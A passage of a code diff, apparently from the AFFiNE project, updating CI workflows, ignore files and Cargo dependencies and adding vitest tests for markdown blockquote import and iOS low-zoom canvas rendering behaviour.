-destination 'generic/platform=iOS Simulator' \
ARCHS=arm64 \
ONLY_ACTIVE_ARCH=YES \
CODE_SIGNING_ALLOWED=NO \
CODE_SIGNING_REQUIRED=NO \
build
rust-test-filter:
name: Rust test filter
runs-on: ubuntu-latest
@@ -795,99 +948,6 @@ jobs:
name: affine
fail_ci_if_error: false
miri:
name: miri code check
if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
runs-on: ubuntu-latest
needs:
- rust-test-filter
env:
RUST_BACKTRACE: full
CARGO_TERM_COLOR: always
MIRIFLAGS: -Zmiri-backtrace=full -Zmiri-tree-borrows
steps:
- uses: actions/checkout@v6
- name: Setup Rust
uses: dtolnay/rust-toolchain@stable
with:
toolchain: nightly
components: miri
- name: Install latest nextest release
uses: taiki-e/install-action@v2
with:
tool: nextest@0.9.98
- name: Miri Code Check
continue-on-error: true
run: |
cargo +nightly miri nextest run -p y-octo -j4
loom:
name: loom thread test
if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
runs-on: ubuntu-latest
needs:
- rust-test-filter
env:
RUSTFLAGS: --cfg loom
RUST_BACKTRACE: full
CARGO_TERM_COLOR: always
steps:
- uses: actions/checkout@v6
- name: Setup Rust
uses: dtolnay/rust-toolchain@stable
with:
toolchain: stable
- name: Install latest nextest release
uses: taiki-e/install-action@v2
with:
tool: nextest@0.9.98
- name: Loom Thread Test
run: |
cargo nextest run -p y-octo --lib
fuzzing:
name: fuzzing
if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
runs-on: ubuntu-latest
needs:
- rust-test-filter
env:
CARGO_TERM_COLOR: always
steps:
- uses: actions/checkout@v6
- name: Setup Rust
uses: dtolnay/rust-toolchain@stable
with:
toolchain: nightly
- name: fuzzing
working-directory: ./packages/common/y-octo/utils
run: |
cargo install cargo-fuzz
cargo +nightly fuzz run apply_update -- -max_total_time=30
cargo +nightly fuzz run codec_doc_any_struct -- -max_total_time=30
cargo +nightly fuzz run codec_doc_any -- -max_total_time=30
cargo +nightly fuzz run decode_bytes -- -max_total_time=30
cargo +nightly fuzz run i32_decode -- -max_total_time=30
cargo +nightly fuzz run i32_encode -- -max_total_time=30
cargo +nightly fuzz run ins_del_text -- -max_total_time=30
cargo +nightly fuzz run sync_message -- -max_total_time=30
cargo +nightly fuzz run u64_decode -- -max_total_time=30
cargo +nightly fuzz run u64_encode -- -max_total_time=30
cargo +nightly fuzz run apply_update -- -max_total_time=30
- name: upload fuzz artifacts
if: ${{ failure() }}
uses: actions/upload-artifact@v4
with:
name: fuzz-artifact
path: packages/common/y-octo/utils/fuzz/artifacts/**/*
rust-test:
name: Run native tests
if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
@@ -1328,6 +1388,9 @@ jobs:
- analyze
- lint
- typecheck
- mobile-native-build-filter
- build-android-app
- build-ios-app
- lint-rust
- check-git-status
- check-yarn-binary
@@ -1342,9 +1405,6 @@ jobs:
- build-server-native
- build-electron-renderer
- native-unit-test
- miri
- loom
- fuzzing
- server-test
- server-e2e-test
- rust-test
@@ -101,7 +101,7 @@ jobs:
- name: Signing By Apple Developer ID
if: ${{ inputs.platform == 'darwin' && inputs.apple_codesign }}
uses: apple-actions/import-codesign-certs@v6
uses: apple-actions/import-codesign-certs@v7
with:
p12-file-base64: ${{ secrets.CERTIFICATES_P12 }}
p12-password: ${{ secrets.CERTIFICATES_P12_PASSWORD }}
+1 -1
View File
@@ -114,7 +114,7 @@ jobs:
- name: Cap sync
run: yarn workspace @affine/ios sync
- name: Signing By Apple Developer ID
uses: apple-actions/import-codesign-certs@v6
uses: apple-actions/import-codesign-certs@v7
id: import-codesign-certs
with:
p12-file-base64: ${{ secrets.CERTIFICATES_P12_MOBILE }}
+1 -1
View File
@@ -72,7 +72,7 @@ jobs:
steps:
- name: Decide whether to release
id: decide
uses: actions/github-script@v8
uses: actions/github-script@v9
with:
script: |
const buildType = '${{ needs.prepare.outputs.BUILD_TYPE }}'
+9
View File
@@ -6,6 +6,7 @@
!.yarn/releases
!.yarn/sdks
.yarn/versions
.corepack-bin
# compiled output
*dist
@@ -49,6 +50,8 @@ testem.log
tsconfig.tsbuildinfo
.context
/*.md
.codex
.cursor
# System Files
.DS_Store
@@ -93,3 +96,9 @@ af.cmd
# playwright
storageState.json
/.understand-anything
# local test/browser artifacts
/.playwright-browsers/
**/.vitest-attachments/
/blocksuite/framework/std/src/__tests__/gfx/__screenshots__/
+1
View File
@@ -24,6 +24,7 @@
".git",
".vscode",
".context",
".codex",
".yarnrc.yml",
".docker",
"**/.storybook",
+1
View File
@@ -5,6 +5,7 @@
.git
.vscode
.context
.codex
.yarnrc.yml
.docker
**/.storybook
Generated
+792 -538
View File
File diff suppressed because it is too large Load Diff
+6 -26
View File
@@ -2,8 +2,6 @@
members = [
"./packages/backend/native",
"./packages/common/native",
"./packages/common/y-octo/core",
"./packages/common/y-octo/utils",
"./packages/frontend/mobile-native",
"./packages/frontend/native",
"./packages/frontend/native/nbstore",
@@ -16,14 +14,13 @@ resolver = "3"
edition = "2024"
[workspace.dependencies]
aes-gcm = "0.10"
affine_common = { path = "./packages/common/native" }
affine_nbstore = { path = "./packages/frontend/native/nbstore" }
ahash = "0.8"
aes-gcm = "0.10"
anyhow = "1"
arbitrary = { version = "1.3", features = ["derive"] }
assert-json-diff = "2.0"
async-lock = { version = "3.4.0", features = ["loom"] }
base64-simd = "0.8"
bitvec = "1.0"
block2 = "0.6"
@@ -37,9 +34,10 @@ resolver = "3"
criterion2 = { version = "3", default-features = false }
crossbeam-channel = "0.5"
dispatch2 = "0.3"
docx-parser = { git = "https://github.com/toeverything/docx-parser", rev = "380beea" }
doc_extractor = "0.1.0"
dotenvy = "0.15"
file-format = { version = "0.28", features = ["reader"] }
hex = "0.4"
homedir = "0.3"
image = { version = "0.25.9", default-features = false, features = [
"bmp",
@@ -57,7 +55,6 @@ resolver = "3"
llm_adapter = { version = "0.2", default-features = false }
llm_runtime = { version = "0.2", default-features = false }
log = "0.4"
loom = { version = "0.7", features = ["checkpoint"] }
lru = "0.16"
matroska = "0.30"
memory-indexer = "0.3.1"
@@ -81,9 +78,8 @@ resolver = "3"
ogg = "0.9"
once_cell = "1"
ordered-float = "5"
p256 = { version = "0.13", features = ["ecdsa", "pem"] }
parking_lot = "0.12"
path-ext = "0.1.2"
pdf-extract = { git = "https://github.com/toeverything/pdf-extract", branch = "darksky/improve-font-decoding" }
phf = { version = "0.11", features = ["macros"] }
proptest = "1.3"
proptest-derive = "0.5"
@@ -92,15 +88,13 @@ resolver = "3"
rand_chacha = "0.9"
rand_distr = "0.5"
rayon = "1.10"
readability = { version = "0.3.0", default-features = false }
regex = "1.10"
rubato = "0.16"
safefetch = "0.1.0"
schemars = "0.8"
screencapturekit = "0.3"
serde = "1"
serde_json = "1"
hex = "0.4"
p256 = { version = "0.13", features = ["ecdsa", "pem"] }
sha2 = "0.10"
sha3 = "0.10"
smol_str = "0.3"
@@ -111,24 +105,10 @@ resolver = "3"
"runtime-tokio",
"sqlite",
] }
strum_macros = "0.27.0"
symphonia = { version = "0.5", features = ["all", "opt-simd"] }
text-splitter = "0.27"
thiserror = "2"
tiktoken-rs = "0.7"
tokio = "1.45"
tree-sitter = { version = "0.25" }
tree-sitter-c = { version = "0.24" }
tree-sitter-c-sharp = { version = "0.23" }
tree-sitter-cpp = { version = "0.23" }
tree-sitter-go = { version = "0.23" }
tree-sitter-java = { version = "0.23" }
tree-sitter-javascript = { version = "0.23" }
tree-sitter-kotlin-ng = { version = "1.1" }
tree-sitter-python = { version = "0.23" }
tree-sitter-rust = { version = "0.24" }
tree-sitter-scala = { version = "0.24" }
tree-sitter-typescript = { version = "0.23" }
typst = "0.14.2"
typst-as-lib = { version = "0.15.4", default-features = false, features = [
"packages",
@@ -154,7 +134,7 @@ resolver = "3"
"Win32_UI_Shell_PropertiesSystem",
] }
windows-core = { version = "0.61" }
y-octo = { path = "./packages/common/y-octo/core" }
y-octo = "0.0.3"
y-sync = { version = "0.4" }
yrs = "0.23.0"
+1 -1
View File
@@ -299,6 +299,6 @@
"devDependencies": {
"@vanilla-extract/vite-plugin": "^5.0.0",
"msw": "^2.13.2",
"vitest": "^4.0.18"
"vitest": "^4.1.8"
}
}
@@ -270,6 +270,54 @@ Hello world
expect(meta?.tags).toEqual(['a', 'b']);
});
test('preserves list text inside blockquotes without list blocks', async () => {
const markdown = `> **Shopping List:**
> - Apples
> - Bananas
> - Oranges
`;
const mdAdapter = new MarkdownAdapter(createJob(), provider);
const snapshot = await mdAdapter.toDocSnapshot({
file: markdown,
assets: new AssetsManager({ blob: new MemoryBlobCRUD() }),
});
expect(simplifyBlockForSnapshot(snapshot.blocks, new Map())).toMatchObject({
children: [
{
flavour: 'affine:note',
children: [
{
flavour: 'affine:paragraph',
type: 'quote',
delta: [
{ insert: 'Shopping List:' },
{ insert: '\n' },
{ insert: '- ' },
{ insert: 'Apples' },
{ insert: '\n' },
{ insert: '- ' },
{ insert: 'Bananas' },
{ insert: '\n' },
{ insert: '- ' },
{ insert: 'Oranges' },
],
},
],
},
],
});
const exported = await mdAdapter.fromDocSnapshot({
snapshot,
assets: new AssetsManager({ blob: new MemoryBlobCRUD() }),
});
expect(exported.file).toContain('> **Shopping List:**');
expect(exported.file).toContain('> \\- Apples');
expect(exported.file).toContain('> \\- Bananas');
expect(exported.file).toContain('> \\- Oranges');
});
test('imports obsidian vault fixtures', async () => {
const schema = new Schema().register(AffineSchemas);
const collection = new TestWorkspace();
@@ -0,0 +1,770 @@
import { Bound } from '@blocksuite/global/gfx';
import { Viewport, viewportRuntimeConfig } from '@blocksuite/std/gfx';
import { afterEach, describe, expect, test, vi } from 'vitest';
import * as viewportModule from '../../../../../framework/std/src/gfx/viewport.js';
import * as viewportElementModule from '../../../../../framework/std/src/gfx/viewport-element.js';
import * as canvasRendererModule from '../../../../blocks/surface/src/renderer/canvas-renderer.js';
import {
paintPlaceholder,
syncCanvasSize,
} from '../../../../gfx/turbo-renderer/src/renderer-utils.js';
import type { ViewportLayoutTree } from '../../../../gfx/turbo-renderer/src/types.js';
const originalCaps = [...viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM];
const originalDevicePixelRatio = Object.getOwnPropertyDescriptor(
window,
'devicePixelRatio'
);
function setDevicePixelRatio(value: number) {
Object.defineProperty(window, 'devicePixelRatio', {
configurable: true,
value,
});
}
function createRect(width: number, height: number): DOMRect {
return {
width,
height,
left: 0,
top: 0,
right: width,
bottom: height,
x: 0,
y: 0,
toJSON: () => ({}),
} as DOMRect;
}
function createFakeBlockModel(
id: string,
x: number,
y: number,
w = 10,
h = 10
) {
return {
id,
elementBound: new Bound(x, y, w, h),
};
}
type PaintPlaceholderForTest = (
canvas: HTMLCanvasElement,
layout: ViewportLayoutTree,
viewport: {
zoom: number;
toViewCoord: (x: number, y: number) => [number, number];
}
) => void;
afterEach(() => {
viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [...originalCaps];
if (originalDevicePixelRatio) {
Object.defineProperty(window, 'devicePixelRatio', originalDevicePixelRatio);
}
vi.restoreAllMocks();
});
describe('edgeless canvas budget', () => {
test('requests canvas budget sync when zoom crosses an effective dpr bucket', () => {
viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
[0.5, 1],
[0.8, 2],
];
expect(
'shouldSyncCanvasBudgetOnViewportUpdate' in canvasRendererModule
).toBe(true);
const shouldSyncCanvasBudgetOnViewportUpdate = (
canvasRendererModule as {
shouldSyncCanvasBudgetOnViewportUpdate: (
previousZoom: number,
nextZoom: number,
rawDpr?: number
) => boolean;
}
).shouldSyncCanvasBudgetOnViewportUpdate;
expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.4, 2)).toBe(true);
expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.75, 2)).toBe(false);
expect(shouldSyncCanvasBudgetOnViewportUpdate(0.45, 0.4, 2)).toBe(false);
expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.4, 1)).toBe(false);
});
test('enables low-zoom survival mode only for active iOS gestures', () => {
expect('shouldUseLowZoomSurvivalMode' in canvasRendererModule).toBe(true);
const shouldUseLowZoomSurvivalMode = (
canvasRendererModule as {
shouldUseLowZoomSurvivalMode: (
isIOS: boolean,
zoom: number,
gestureActive: boolean
) => boolean;
}
).shouldUseLowZoomSurvivalMode;
expect(shouldUseLowZoomSurvivalMode(true, 0.4, true)).toBe(true);
expect(shouldUseLowZoomSurvivalMode(true, 0.6, true)).toBe(false);
expect(shouldUseLowZoomSurvivalMode(true, 0.4, false)).toBe(false);
expect(shouldUseLowZoomSurvivalMode(false, 0.4, true)).toBe(false);
});
test('does not enable canvas placeholders for low-zoom panning without zooming', () => {
expect('shouldRenderCanvasPlaceholders' in canvasRendererModule).toBe(true);
const shouldRenderCanvasPlaceholders = (
canvasRendererModule as {
shouldRenderCanvasPlaceholders: (params: {
isIOS: boolean;
zoom: number;
isPanning: boolean;
isZooming: boolean;
skipRefreshDuringGesture: boolean;
turboEnabled: boolean;
}) => boolean;
}
).shouldRenderCanvasPlaceholders;
expect(
shouldRenderCanvasPlaceholders({
isIOS: true,
zoom: 0.4,
isPanning: true,
isZooming: false,
skipRefreshDuringGesture: true,
turboEnabled: true,
})
).toBe(false);
expect(
shouldRenderCanvasPlaceholders({
isIOS: true,
zoom: 0.4,
isPanning: false,
isZooming: true,
skipRefreshDuringGesture: true,
turboEnabled: true,
})
).toBe(true);
});
test('shares one bypass decision for placeholder and render paths only during the low-zoom iOS landscape gesture or recovery window', () => {
expect('getStackingCanvasBypassState' in canvasRendererModule).toBe(true);
expect(
'shouldBypassStackingCanvasesDuringLowZoomGesture' in canvasRendererModule
).toBe(true);
const getStackingCanvasBypassState = (
canvasRendererModule as {
getStackingCanvasBypassState: (params: {
isIOS: boolean;
zoom: number;
gestureActive: boolean;
recoveryActive: boolean;
viewportWidth: number;
viewportHeight: number;
}) => boolean;
}
).getStackingCanvasBypassState;
const shouldBypassStackingCanvasesDuringLowZoomGesture = (
canvasRendererModule as {
shouldBypassStackingCanvasesDuringLowZoomGesture: (params: {
isIOS: boolean;
zoom: number;
gestureActive: boolean;
recoveryActive: boolean;
viewportWidth: number;
viewportHeight: number;
}) => boolean;
}
).shouldBypassStackingCanvasesDuringLowZoomGesture;
expect(
getStackingCanvasBypassState({
isIOS: true,
zoom: 0.4,
gestureActive: true,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(true);
expect(
getStackingCanvasBypassState({
isIOS: true,
zoom: 0.4,
gestureActive: false,
recoveryActive: true,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(true);
expect(
getStackingCanvasBypassState({
isIOS: true,
zoom: 0.4,
gestureActive: false,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(false);
expect(
shouldBypassStackingCanvasesDuringLowZoomGesture({
isIOS: true,
zoom: 0.4,
gestureActive: false,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(false);
expect(
getStackingCanvasBypassState({
isIOS: true,
zoom: 0.4,
gestureActive: true,
recoveryActive: false,
viewportWidth: 430,
viewportHeight: 932,
})
).toBe(false);
expect(
getStackingCanvasBypassState({
isIOS: true,
zoom: 0.6,
gestureActive: true,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(false);
expect(
getStackingCanvasBypassState({
isIOS: false,
zoom: 0.4,
gestureActive: true,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(false);
});
test('gesture low-zoom landscape bypass detaches stacking canvases through the existing attachment path', () => {
expect(
'shouldBypassStackingCanvasesDuringLowZoomGesture' in canvasRendererModule
).toBe(true);
expect('getStackingCanvasAttachmentDiff' in canvasRendererModule).toBe(
true
);
const shouldBypassStackingCanvasesDuringLowZoomGesture = (
canvasRendererModule as {
shouldBypassStackingCanvasesDuringLowZoomGesture: (params: {
isIOS: boolean;
zoom: number;
gestureActive: boolean;
recoveryActive: boolean;
viewportWidth: number;
viewportHeight: number;
}) => boolean;
}
).shouldBypassStackingCanvasesDuringLowZoomGesture;
const getStackingCanvasAttachmentDiff = (
canvasRendererModule as {
getStackingCanvasAttachmentDiff: (params: {
canvases: HTMLCanvasElement[];
wasAttached: boolean;
shouldAttach: boolean;
}) => {
added: HTMLCanvasElement[];
removed: HTMLCanvasElement[];
};
}
).getStackingCanvasAttachmentDiff;
const canvases = [document.createElement('canvas')];
const shouldBypass = shouldBypassStackingCanvasesDuringLowZoomGesture({
isIOS: true,
zoom: 0.4,
gestureActive: true,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
});
expect(shouldBypass).toBe(true);
expect(
getStackingCanvasAttachmentDiff({
canvases,
wasAttached: true,
shouldAttach: !shouldBypass,
})
).toEqual({
added: [],
removed: canvases,
});
});
test('uses overscan for main-canvas fallback culling and render origin', () => {
expect('getMainCanvasFallbackBounds' in canvasRendererModule).toBe(true);
const getMainCanvasFallbackBounds = (
canvasRendererModule as {
getMainCanvasFallbackBounds: (params: {
viewportBounds: Bound;
overscanViewportBounds: Bound;
}) => {
cullBound: Bound;
renderBound: Bound;
};
}
).getMainCanvasFallbackBounds;
const viewportBounds = new Bound(100, 200, 300, 150);
const overscanViewportBounds = new Bound(40, 170, 420, 210);
expect(
getMainCanvasFallbackBounds({
viewportBounds,
overscanViewportBounds,
})
).toEqual({
cullBound: overscanViewportBounds,
renderBound: overscanViewportBounds,
});
});
test('lays out overscan canvases relative to the exact viewport', () => {
expect('getCanvasViewportLayout' in canvasRendererModule).toBe(true);
const getCanvasViewportLayout = (
canvasRendererModule as {
getCanvasViewportLayout: (params: {
bound: Bound;
viewportBounds: Bound;
zoom: number;
viewScale: number;
dpr: number;
}) => {
actualHeight: number;
actualWidth: number;
height: number;
transform: string;
width: number;
};
}
).getCanvasViewportLayout;
expect(
getCanvasViewportLayout({
bound: new Bound(40, 170, 420, 210),
viewportBounds: new Bound(100, 200, 300, 150),
zoom: 1,
viewScale: 1,
dpr: 2,
})
).toEqual({
actualHeight: 420,
actualWidth: 840,
height: 210,
transform: 'translate(-60px, -30px) scale(1)',
width: 420,
});
});
test('computes stacking canvas DOM attachment diffs when bypass toggles', () => {
expect('getStackingCanvasAttachmentDiff' in canvasRendererModule).toBe(
true
);
const getStackingCanvasAttachmentDiff = (
canvasRendererModule as {
getStackingCanvasAttachmentDiff: (params: {
canvases: HTMLCanvasElement[];
wasAttached: boolean;
shouldAttach: boolean;
}) => {
added: HTMLCanvasElement[];
removed: HTMLCanvasElement[];
};
}
).getStackingCanvasAttachmentDiff;
const canvasA = document.createElement('canvas');
const canvasB = document.createElement('canvas');
const canvases = [canvasA, canvasB];
expect(
getStackingCanvasAttachmentDiff({
canvases,
wasAttached: true,
shouldAttach: false,
})
).toEqual({
added: [],
removed: canvases,
});
expect(
getStackingCanvasAttachmentDiff({
canvases,
wasAttached: false,
shouldAttach: true,
})
).toEqual({
added: canvases,
removed: [],
});
expect(
getStackingCanvasAttachmentDiff({
canvases,
wasAttached: true,
shouldAttach: true,
})
).toEqual({
added: [],
removed: [],
});
});
test('emits a lightweight zoom signal during gesture-skipped zoom updates so canvas budgets can shrink', () => {
viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
[0.5, 1],
[0.8, 2],
];
const viewport = new Viewport();
viewport.SKIP_REFRESH_DURING_GESTURE = true;
const viewportUpdated = vi.fn();
const zoomUpdates: Array<{ previousZoom: number; zoom: number }> = [];
let lastCanvasBudgetZoom = viewport.zoom;
let budgetSyncCount = 0;
viewport.viewportUpdated.subscribe(viewportUpdated);
expect('zoomUpdated' in viewport).toBe(true);
const zoomUpdated = (
viewport as unknown as {
zoomUpdated: {
subscribe: (
callback: (update: { previousZoom: number; zoom: number }) => void
) => void;
};
}
).zoomUpdated;
zoomUpdated.subscribe(update => {
zoomUpdates.push(update);
if (
(
canvasRendererModule as {
shouldSyncCanvasBudgetOnViewportUpdate: (
previousZoom: number,
nextZoom: number,
rawDpr?: number
) => boolean;
}
).shouldSyncCanvasBudgetOnViewportUpdate(
lastCanvasBudgetZoom,
update.zoom,
2
)
) {
budgetSyncCount += 1;
}
lastCanvasBudgetZoom = update.zoom;
});
viewport.panning$.next(true);
viewport.setZoom(0.4, { x: 0, y: 0 }, false, false, true);
expect(viewportUpdated).not.toHaveBeenCalled();
expect(zoomUpdates).toEqual([{ previousZoom: 1, zoom: 0.4 }]);
expect(budgetSyncCount).toBe(1);
viewport.dispose();
});
test('keeps programmatic setZoom on the normal viewport update path in skip mode', () => {
const viewport = new Viewport();
viewport.SKIP_REFRESH_DURING_GESTURE = true;
const viewportUpdated = vi.fn();
const zoomUpdated = vi.fn();
viewport.viewportUpdated.subscribe(viewportUpdated);
viewport.zoomUpdated.subscribe(zoomUpdated);
viewport.setZoom(0.4, { x: 0, y: 0 });
expect(viewportUpdated).toHaveBeenCalledTimes(1);
expect(zoomUpdated).toHaveBeenCalledWith({ previousZoom: 1, zoom: 0.4 });
expect(viewport.panning$.value).toBe(false);
expect(viewport.zooming$.value).toBe(false);
viewport.dispose();
});
test('enables low-zoom block survival only while the gesture is still active', () => {
expect('shouldUseLowZoomBlockSurvivalMode' in viewportElementModule).toBe(
true
);
const shouldUseLowZoomBlockSurvivalMode = (
viewportElementModule as {
shouldUseLowZoomBlockSurvivalMode: (params: {
zoom: number;
skipRefreshDuringGesture: boolean;
gestureActive: boolean;
}) => boolean;
}
).shouldUseLowZoomBlockSurvivalMode;
expect(
shouldUseLowZoomBlockSurvivalMode({
zoom: 0.4,
skipRefreshDuringGesture: true,
gestureActive: true,
})
).toBe(true);
expect(
shouldUseLowZoomBlockSurvivalMode({
zoom: 0.4,
skipRefreshDuringGesture: true,
gestureActive: false,
})
).toBe(false);
});
test('keeps selected and one nearby viewport block active during low-zoom gesture survival', () => {
expect('getLowZoomGestureActiveModels' in viewportElementModule).toBe(true);
const getLowZoomGestureActiveModels = (
viewportElementModule as {
getLowZoomGestureActiveModels: (params: {
selectedModels: Set<{ id: string; elementBound: Bound }>;
viewportModels: Set<{ id: string; elementBound: Bound }>;
viewportBounds: Bound;
nearbyActiveBlockLimit: number;
nearbyDistanceRatio: number;
}) => Set<{ id: string; elementBound: Bound }>;
}
).getLowZoomGestureActiveModels;
const selected = createFakeBlockModel('selected', 10, 10);
const nearby = createFakeBlockModel('nearby', 28, 12);
const far = createFakeBlockModel('far', 78, 78);
const activeModels = getLowZoomGestureActiveModels({
selectedModels: new Set([selected]),
viewportModels: new Set([selected, nearby, far]),
viewportBounds: new Bound(0, 0, 100, 100),
nearbyActiveBlockLimit: 1,
nearbyDistanceRatio: 0.35,
});
expect([...activeModels].map(model => model.id).sort()).toEqual([
'nearby',
'selected',
]);
});
test('falls back to the nearest viewport block when nothing is selected', () => {
expect('getLowZoomGestureActiveModels' in viewportElementModule).toBe(true);
const getLowZoomGestureActiveModels = (
viewportElementModule as {
getLowZoomGestureActiveModels: (params: {
selectedModels: Set<{ id: string; elementBound: Bound }>;
viewportModels: Set<{ id: string; elementBound: Bound }>;
viewportBounds: Bound;
nearbyActiveBlockLimit: number;
nearbyDistanceRatio: number;
}) => Set<{ id: string; elementBound: Bound }>;
}
).getLowZoomGestureActiveModels;
const nearest = createFakeBlockModel('nearest', 46, 46);
const farther = createFakeBlockModel('farther', 78, 78);
const activeModels = getLowZoomGestureActiveModels({
selectedModels: new Set(),
viewportModels: new Set([nearest, farther]),
viewportBounds: new Bound(0, 0, 100, 100),
nearbyActiveBlockLimit: 1,
nearbyDistanceRatio: 0.35,
});
expect([...activeModels].map(model => model.id)).toEqual(['nearest']);
});
test('starts post-gesture recovery immediately once gesture signals fully settle', () => {
expect('getPostGestureRecoveryDelay' in viewportModule).toBe(true);
const getPostGestureRecoveryDelay = (
viewportModule as {
getPostGestureRecoveryDelay: (params: {
isPanning: boolean;
isZooming: boolean;
fallbackDelayMs: number;
}) => number;
}
).getPostGestureRecoveryDelay;
expect(
getPostGestureRecoveryDelay({
isPanning: false,
isZooming: false,
fallbackDelayMs: 220,
})
).toBe(0);
});
test('keeps fallback post-gesture delay while a gesture signal is still active', () => {
expect('getPostGestureRecoveryDelay' in viewportModule).toBe(true);
const getPostGestureRecoveryDelay = (
viewportModule as {
getPostGestureRecoveryDelay: (params: {
isPanning: boolean;
isZooming: boolean;
fallbackDelayMs: number;
}) => number;
}
).getPostGestureRecoveryDelay;
expect(
getPostGestureRecoveryDelay({
isPanning: true,
isZooming: false,
fallbackDelayMs: 220,
})
).toBe(220);
expect(
getPostGestureRecoveryDelay({
isPanning: false,
isZooming: true,
fallbackDelayMs: 220,
})
).toBe(220);
});
test('sizes turbo renderer canvas with effective dpr at low zoom', () => {
viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
[0.5, 1],
[0.8, 2],
];
setDevicePixelRatio(2);
const canvas = document.createElement('canvas');
const host = document.createElement('div');
vi.spyOn(host, 'getBoundingClientRect').mockReturnValue(
createRect(200, 100)
);
(
syncCanvasSize as unknown as (
canvas: HTMLCanvasElement,
host: HTMLElement,
zoom: number
) => void
)(canvas, host, 0.4);
expect(canvas.width).toBe(200);
expect(canvas.height).toBe(100);
(
syncCanvasSize as unknown as (
canvas: HTMLCanvasElement,
host: HTMLElement,
zoom: number
) => void
)(canvas, host, 0.95);
expect(canvas.width).toBe(400);
expect(canvas.height).toBe(200);
});
test('paints turbo placeholders with effective dpr at low zoom', () => {
const previousTheme = document.documentElement.dataset.theme;
document.documentElement.dataset.theme = 'light';
try {
viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
[0.5, 1],
[0.8, 2],
];
setDevicePixelRatio(2);
const canvas = document.createElement('canvas');
const fillRect = vi.fn();
const strokeRect = vi.fn();
let fillStyle = '';
let strokeStyle = '';
vi.spyOn(canvas, 'getContext').mockReturnValue({
get fillStyle() {
return fillStyle;
},
set fillStyle(value: string) {
fillStyle = value;
},
get strokeStyle() {
return strokeStyle;
},
set strokeStyle(value: string) {
strokeStyle = value;
},
fillRect,
strokeRect,
} as unknown as CanvasRenderingContext2D);
const layout: ViewportLayoutTree = {
roots: [
{
blockId: 'root',
type: 'affine:page',
layout: {
blockId: 'root',
type: 'affine:page',
rect: { x: 0, y: 0, w: 50, h: 20 },
},
children: [],
},
],
overallRect: { x: 0, y: 0, w: 50, h: 20 },
};
const paintPlaceholderForTest =
paintPlaceholder as unknown as PaintPlaceholderForTest;
paintPlaceholderForTest(canvas, layout, {
zoom: 0.4,
toViewCoord: () => [0, 0],
});
expect(fillStyle).toBe('rgba(0, 0, 0, 0.04)');
expect(strokeStyle).toBe('rgba(0, 0, 0, 0.02)');
expect(fillRect).toHaveBeenLastCalledWith(0, 0, 20, 8);
paintPlaceholderForTest(canvas, layout, {
zoom: 0.95,
toViewCoord: () => [0, 0],
});
expect(fillRect).toHaveBeenLastCalledWith(0, 0, 95, 38);
} finally {
document.documentElement.dataset.theme = previousTheme;
}
});
});
@@ -0,0 +1,34 @@
import { ColorScheme } from '@blocksuite/affine-model';
import { describe, expect, it } from 'vitest';
import {
getAffinePlaceholderFillColor,
getAffinePlaceholderStrokeColor,
inferColorSchemeFromThemeMode,
} from '../../../../shared/src/theme/placeholder-style.js';
describe('affine placeholder style', () => {
it('returns subtle light placeholder colors', () => {
expect(getAffinePlaceholderFillColor(ColorScheme.Light)).toBe(
'rgba(0, 0, 0, 0.04)'
);
expect(getAffinePlaceholderStrokeColor(ColorScheme.Light)).toBe(
'rgba(0, 0, 0, 0.02)'
);
});
it('returns subtle dark placeholder colors', () => {
expect(getAffinePlaceholderFillColor(ColorScheme.Dark)).toBe(
'rgba(255, 255, 255, 0.08)'
);
expect(getAffinePlaceholderStrokeColor(ColorScheme.Dark)).toBe(
'rgba(255, 255, 255, 0.04)'
);
});
it('infers color scheme from theme mode', () => {
expect(inferColorSchemeFromThemeMode('dark')).toBe(ColorScheme.Dark);
expect(inferColorSchemeFromThemeMode('light')).toBe(ColorScheme.Light);
expect(inferColorSchemeFromThemeMode('')).toBe(ColorScheme.Light);
});
});
@@ -0,0 +1,66 @@
import { describe, expect, test } from 'vitest';
import * as turboRendererModule from '../../../../gfx/turbo-renderer/src/turbo-renderer.js';
describe('viewport turbo renderer policy', () => {
test.each([
{ isIOS: true, zoom: 0.4, hasBitmap: true, expected: true },
{ isIOS: true, zoom: 0.4, hasBitmap: false, expected: false },
{ isIOS: false, zoom: 0.4, hasBitmap: true, expected: false },
{ isIOS: true, zoom: 0.8, hasBitmap: true, expected: false },
])(
'prefers cached bitmap only for iOS low-zoom gestures with a bitmap %#',
({ isIOS, zoom, hasBitmap, expected }) => {
expect(
'shouldPreferBitmapCacheDuringLowZoomGesture' in turboRendererModule
).toBe(true);
const shouldPreferBitmapCacheDuringLowZoomGesture = (
turboRendererModule as {
shouldPreferBitmapCacheDuringLowZoomGesture: (params: {
isIOS: boolean;
zoom: number;
hasBitmap: boolean;
}) => boolean;
}
).shouldPreferBitmapCacheDuringLowZoomGesture;
expect(
shouldPreferBitmapCacheDuringLowZoomGesture({
isIOS,
zoom,
hasBitmap,
})
).toBe(expected);
}
);
test.each([
{ isIOS: true, zoom: 0.4, expected: false },
{ isIOS: true, zoom: 0.8, expected: true },
{ isIOS: false, zoom: 0.4, expected: true },
])(
'idles turbo blocks outside iOS low-zoom survival mode %#',
({ isIOS, zoom, expected }) => {
expect('shouldIdleTurboBlocksDuringZooming' in turboRendererModule).toBe(
true
);
const shouldIdleTurboBlocksDuringZooming = (
turboRendererModule as {
shouldIdleTurboBlocksDuringZooming: (params: {
isIOS: boolean;
zoom: number;
}) => boolean;
}
